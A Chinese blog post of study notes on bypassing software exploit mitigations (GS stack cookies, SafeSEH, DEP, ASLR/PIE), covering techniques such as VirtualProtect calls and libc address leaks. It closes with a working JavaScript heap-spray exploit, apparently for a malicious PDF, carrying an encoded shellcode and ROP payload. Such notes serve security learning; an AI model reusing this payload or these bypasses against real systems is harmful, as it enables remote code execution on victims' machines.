Oops-re's Blog.

简单复习--软件保护绕过

字数统计: 1.3k阅读时长: 5 min
2023/04/30

软件保护绕过

GS保护

cookie校验

通过在生成栈帧的时候先插入一个cookie
    cookie通过ebp^data节的第一个字(dword)
在函数返回的时候校验cookie是否正确来保护栈,防止返回地址被溢出覆盖

绕过方法

  • 攻击虚函数
    • 通过成员变量修改虚表 来达到控制程序流程且不触发GS的效果
  • 控制cookie
  • 函数未启用cookie校验

    safeSEH保护

    safeSEH表 – 由编译器生成,保存异常函数地址

检验规则
SEH_CFG

绕过方法

硬刚
可以知道 执行异常函数的情况如下:

1.跳转触发的异常函数地址位于本模块之外 且DEP关闭
    通过堆溢出绕过,将shellcode布置为异常函数 之后且这样就达到了绕过
2.safeSEH在本模块中未启用
    可以通过清空safeSEH来达到这种效果

怂点
不去触发safeSEH

1.覆盖返回地址
2.攻击虚函数

DEP保护

数据执行保护

工作原理

将数据所在的内存页标识为不可执行,
当程序执行到有这个标识的内存页时,CPU抛出异常,退出程序

绕过

可以通过函数virtualprotect进行修改DEP
    BOOL VirtualProtect(
        LPVOID lpaddress,
        DWORD dwSize,
        DWORD flNewProtect,
        PDWORD lpflOldProtect
    );
    设置flNewProtect参数为PAGE_EXECUTE_READWRITE(0x40) 可读可写可执行
或者

构造ret2text 执行自己代码节的命令

还有就是通过virtualAlloc函数,可以创建一个数据可执行的内存块
    来存放shellcode
    WINAPI VirtualAlloc(
        LPVOID lpaddress,
        SIZE_T dwSize,
        DOWRD flAllocationType,
        DOWRD flProtect);

ALSR保护

地址随机化保护

名称 作用位置 归属 作用时间
ASLR 栈基地址(stack)、共享库(.solibraries)、mmap 基地址、随机化堆基地址(chunk) 系统功能 作用于程序(ELF)装入内存运行时
PIE 代码段( .text )、初始化数据段( .data )、未初始化数据段( .bss ) 编译器功能 作用于程序(ELF)编译过程中

绕过手段

1.相对寻址

在linux中 常用的方法就是通过elf.got["puts"]泄露模块中puts函数的地址puts_addr,
再在文件中 计算想要地址和puts的偏移
    offset = libc.symbols["puts"]-libc.symbols["system"]
且 我们在文件中可以通过查找,找到某个某个函数在这个模块的偏移addr
最后得到这个函数在内存中的地址
    func_addr = puts_addr-offset

2.Heap Spray定位(堆喷)
通过构造多个由 nop指令 + shellcode 1MB 大小的内存片 覆盖 0x0c0c0c0c的堆内存
这样
我们就可以通过ret 到 内存指针的方式 跳到shellcode中

如下就是通过javascript实现的堆喷
这段堆喷代码会在堆中的以0xc0c地址结尾的地方存放shellcode,
如 0x0C0A0C0C、0x0C0B0C0C、0x0C0C0C0C 处的代码完全一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uddda%u86ba%u6045%ud993%u2474%u58f4%uc929%u59b1%uc083%u3104%u1550%u5003%u6415%u9cb0%ue77b%u5d3b%u977c%ub8b2%u854d%uc9a1%u19fc%u9ca1%ud20c%u34e7%u1b3c%u478c%uec16%ued24%uc340%u5e8a%u42b0%u9d77%ua4e5%u6e46%ua5f8%u388f%u4a76%u305d%u842a%ucd35%u9889%u01b8%ua086%u24c2%u5459%u267f%uc48a%u60f4%u6f32%u5152%ubc43%u58e6%u7e37%ud1a0%uf58c%u3033%uf6dd%u7c05%uc9b2%u71a9%u0eca%u6a0d%u64b9%u176d%ubfba%uc30f%u5f4f%u80b7%ubbe8%u4449%u486e%u2145%u16e4%ub44a%u2d29%u3d76%ue1cc%u05fe%u25eb%udd5a%u7c92%ub006%u9eab%u6dee%ud50e%u7b1d%u162e%u84de%u8072%u4912%u508d%uda3d%u62fe%u70e2%uce69%u5f6b%u476e%u607b%uefa0%u9eec%u0f41%u6524%u5f15%u4c5e%u3416%u719e%ua0c3%ue594%u9c2c%u7a6f%udec4%ua76f%u57ad%uf789%u379d%ub806%uf74d%u50f6%uf884%u4029%ud3a7%ueb41%u8d48%u843a%u94f1%u35b1%u03fd%u76bc%ua175%u3840%uc07e%u2d52%u2a19%uaeab%u2a8c%uaac1%u7d06%ub17d%u497f%u4a22%ucaaa%ub425%ufa2b%u835e%u42b9%uec09%u422d%ubac9%u4227%u1aa1%u111c%u64d4%u0689%uf145%u7e32%u5239%u7c5b%u9464%u7fc4%ua643%u7f03%u8111%u17ab%u91e9%ue74b%u1183%u8f1c%u3d58%u7f93%u94a0%u17fc%u792b%u864e%u502c%u160e%u572c%ua98b%u1857%u4a2c%u30a8%u4b49%u3ca8%u706f%u057e%ub705%u3242%u8216%u13e7%uecbd%u64b4%u4194' );
var nop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

//这里开始构造内存片
while (nop.length + 20 + 8 < 65536) nop+=nop;
//堆的开头存放0x20大小的头部信息
//0x4是‘aaaa’
//除以二是因为javascript中字符串是unicode形式存放(一字符两字节)
d = nop.substring(0, (0x0c0c-0x20-0x4)/2);
d += shellcode;//在0x...c0c位置插入shellcode
d += nop;
e = d.substring(0, 65536/2);//截取 滑块代码+shellcode+滑块代码 1mb
while(e.length < 0x80000) e += e; //将1mb大小的代码片填入 即 每隔0x10000 就有一段shellcode
h = e.substring(0, 0x80000 - (0x1020-0x08) / 2);
var slide = new Array();
for (i=0;i<0x1f0;i++) slide[i]=h+"s";
//使用0x1f0 * 0x10000 大小的内存 大概500M 所以在打开这个pdf的时候会卡顿
CATALOG
  1. 1. 软件保护绕过
    1. 1.1. GS保护
      1. 1.1.1. 绕过方法
    2. 1.2. safeSEH保护
      1. 1.2.1. 绕过方法
    3. 1.3. DEP保护
      1. 1.3.1. 工作原理
      2. 1.3.2. 绕过
    4. 1.4. ALSR保护
      1. 1.4.1. 绕过手段